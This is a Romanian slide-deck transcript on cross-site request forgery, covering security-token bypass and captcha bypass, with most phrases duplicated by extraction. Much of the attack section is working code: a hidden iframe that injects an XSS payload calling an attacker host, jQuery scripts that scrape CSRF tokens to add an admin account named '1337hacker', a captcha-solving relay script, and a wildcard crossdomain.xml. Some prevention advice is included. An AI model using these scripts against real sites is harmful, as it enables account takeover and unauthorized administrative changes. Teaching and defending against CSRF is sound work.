cross site request forgery attacks
DESCRIPTION
TRANSCRIPT
Cross Site Request Forgery Cross Site Request Forgery AttacksAttacks
Security token bypassSecurity token bypass
Captcha bypassCaptcha bypass
Presented by Vlad Horatiu
Ce este CSRFCe este CSRF
ContextContext
►Dispunem de:Dispunem de: Acces la un web site pe care victima il Acces la un web site pe care victima il
poate frecventapoate frecventa Cross Site Scripting (XSS) in domeniul in Cross Site Scripting (XSS) in domeniul in
care victima avea privilegii superioarecare victima avea privilegii superioare
Principiul de bazaPrincipiul de baza
►Victima acceseaza site-ul in care avem Victima acceseaza site-ul in care avem accesacces
►Prin intermediul javascript, victima Prin intermediul javascript, victima trimite requesturi catre locatia in care trimite requesturi catre locatia in care are acces, prin intermediul XSS.are acces, prin intermediul XSS.
De ce avem nevoie de XSS?De ce avem nevoie de XSS?
► Browserele moderne permit requesturi AJAX, Browserele moderne permit requesturi AJAX, intrucat si accesul la sursa HTML a unei pagini, doar intrucat si accesul la sursa HTML a unei pagini, doar atata timp cat atat request-ul, cat si target-ul sau atata timp cat atat request-ul, cat si target-ul sau sunt pe acelasi domeniu.sunt pe acelasi domeniu.
► Aceasta protectie restrictioneaza doar accesul la Aceasta protectie restrictioneaza doar accesul la sursa unei pagini de pe alt domeniu, nu are niciun sursa unei pagini de pe alt domeniu, nu are niciun impact asupra accesarii sale (ex: iframe)impact asupra accesarii sale (ex: iframe)
► De ce?De ce? SecuritateSecuritate Implicatii in web advertisingImplicatii in web advertising SecuritateSecuritate
Initierea ataculuiInitierea atacului
► Iframe din site-ul cu acces catre cel cu Iframe din site-ul cu acces catre cel cu xssxss<html><iframe
src="http://victimsite.com/index.php?xss=<script>document.write('<iframe src=\'http://attacker\');</script>"
width="50"height = "50"style="filter: alpha(opacity=0);-moz-opacity:0;opacity: .0;">
</iframe></html>
Login checkLogin checkfunction check(){
$.get("login.html", function(data){if(data.indexOf('blanaa') != -1){
var logged = tryToLogin();} else {
var logged = true;}
});};
function tryToLogin(){
$.get("login.html", function(data){$('#form_frame').contents().find('form').submit();return (data.indexOf('blanaa') != -1);
});}
Token bypassToken bypass
► URL atac CSRF clasic:URL atac CSRF clasic: http://victimsite.com/admin/add_admin.php?user=1337hachttp://victimsite.com/admin/add_admin.php?user=1337hac
ker&pass=pwnedker&pass=pwned► Link valid in cazul unei protectii token:Link valid in cazul unei protectii token:
http://victimsite.com/admin/add_admin.php?user=1337hachttp://victimsite.com/admin/add_admin.php?user=1337hacker&pass=pwned&token=693a93e07e1032751a2f14d00eker&pass=pwned&token=693a93e07e1032751a2f14d00e33a56f33a56f
► Code snippets (PHP):Code snippets (PHP): Generare token:Generare token:
► mysql_query(“INSERT INTO `user_tokens` (`user_id`, mysql_query(“INSERT INTO `user_tokens` (`user_id`, `user_token`) VALUES (‘”. Intval($uid) .”’, ‘”. `user_token`) VALUES (‘”. Intval($uid) .”’, ‘”. sha1(mt_rand(1000000, 9999999).microtime(true)) .”)’);sha1(mt_rand(1000000, 9999999).microtime(true)) .”)’);
Validare token:Validare token:► $query = mysql_query(“SELECT `user_token` FROM $query = mysql_query(“SELECT `user_token` FROM `user_tokens` WHERE `id` = ‘”. Intval($uid) .”’ LIMIT 1”);`user_tokens` WHERE `id` = ‘”. Intval($uid) .”’ LIMIT 1”);
► $token = getQueryToken($query);$token = getQueryToken($query);► if($_COOKIE[‘token’] != $token)if($_COOKIE[‘token’] != $token)
Die(‘Esti un bulangiu!’);Die(‘Esti un bulangiu!’);
Token bypassToken bypass► Javascript token crawlerJavascript token crawler
function addAdmin(){
$.get("http://victimsite.com/admin/add_user.php", function(data){var token = getBetween('&token=', '&', data);alert(token);
$.get("http://victimsite.com/admin/add_user_success.php?user=1337hacker&pass=pwned&token"+token, function(data){
});
});};
function getBetween(lft, rgt, string){
var split = '';split = string.split('&token=');split = split[1];split = split.split('&');split = split[0];return split;
}
Token bypassToken bypass
► Javascript token crawler (POST)Javascript token crawler (POST)function addAdmin(){
$.get("http://victimsite.com/admin/add_user.php", function(data){var token = getBetween("type=\"hidden\" name=\"token\"
value=\"", "\"", data);$.post("http://victimsite.com/admin/add_user.php", { user:
"1337hacker", pass: "pwned", token: token },function(data) {})
});};
function getBetween(lft, rgt, string){
var split = '';split = string.split('&token=');split = split[1];split = split.split('&');split = split[0];return split;
}
Token bypassToken bypass
►Metode de prevenireMetode de prevenire Protectie impotriva atacurilor XSSProtectie impotriva atacurilor XSS Cerere de captcha la operatiunile cu grad mare de Cerere de captcha la operatiunile cu grad mare de
riscrisc Cerere de parola la operatiunile cu grad mare de Cerere de parola la operatiunile cu grad mare de
riscrisc Folosirea Private BrowsingFolosirea Private Browsing Setarea sesiunilor cu o data de expirare relativ micaSetarea sesiunilor cu o data de expirare relativ mica Scrierea token-ului intr-un mod greu de parsat de Scrierea token-ului intr-un mod greu de parsat de
catre script (exemplu: prin intermediul unui catre script (exemplu: prin intermediul unui javascript obfuscat)javascript obfuscat)
Token bypassToken bypass
►DezavantajeDezavantaje Sensibil la schimbarile structurii HTMLSensibil la schimbarile structurii HTML
Flash Cross-domain policyFlash Cross-domain policy
►Ne permite sa facem requesturi ajax Ne permite sa facem requesturi ajax intre doua domenii diferiteintre doua domenii diferite
►Domeniul destinatie trebuie sa aiba Domeniul destinatie trebuie sa aiba domeniul sursa intr-un “whitelist”: domeniul sursa intr-un “whitelist”: crossdomain.xmlcrossdomain.xml
►Exemplu de crossdomain.xml: Exemplu de crossdomain.xml: <cross-domain-policy><allow-access-from domain="*"/></cross-domain-policy>
Captcha bypassCaptcha bypass
►ContextContext Userul are campurile username si password Userul are campurile username si password
completate, datorita autocompletecompletate, datorita autocomplete Formularul de logare cere captcha verificationFormularul de logare cere captcha verification
►Principiul de bazaPrincipiul de baza Preluarea image path-ului prin javascriptPreluarea image path-ului prin javascript Trimiterea imaginii catre un script de captcha Trimiterea imaginii catre un script de captcha
breaking (prin intermediul crossdomain.xml)breaking (prin intermediul crossdomain.xml) Trimiterea informatiilor de logareTrimiterea informatiilor de logare
Captcha bypassCaptcha bypass
►Captcha breaking script snippet:Captcha breaking script snippet:$rand = sha1(mt_rand(1000000, 9999999).microtime(true));if(isset($_GET['path'])) file_put_contents($rand.'.jpg', file_get_contents($_GET['path']));if ($captcha = $client->upload($rand.'.jpg')) { echo "CAPTCHA {$captcha['captcha']} uploaded\n"; sleep(DeathByCaptcha_Client::DEFAULT_TIMEOUT); if ($text = $client->get_text($captcha['captcha'])) { echo $text; } else { $client->remove($captcha['captcha']); echo '0'; }}
Captcha bypassCaptcha bypass
►DezavantajeDezavantaje Timpul ridicat de rezolvare a captcha-uluiTimpul ridicat de rezolvare a captcha-ului
►Pentru ca metoda sa mearga, userul ar trebui Pentru ca metoda sa mearga, userul ar trebui sa ramana pe pagina cel putin un minutsa ramana pe pagina cel putin un minut
Costul ridicat al rezolvarilor captchaCostul ridicat al rezolvarilor captcha Schimbarile in structura HTMLSchimbarile in structura HTML Necesitatea existentei Flash Player in Necesitatea existentei Flash Player in
sistemul victimeisistemul victimei
Exemple concreteExemple concrete
►Adaugare utilizatori intr-o platforma Adaugare utilizatori intr-o platforma WordpressWordpress
►Adaugare user MySQLAdaugare user MySQL
IntrebariIntrebari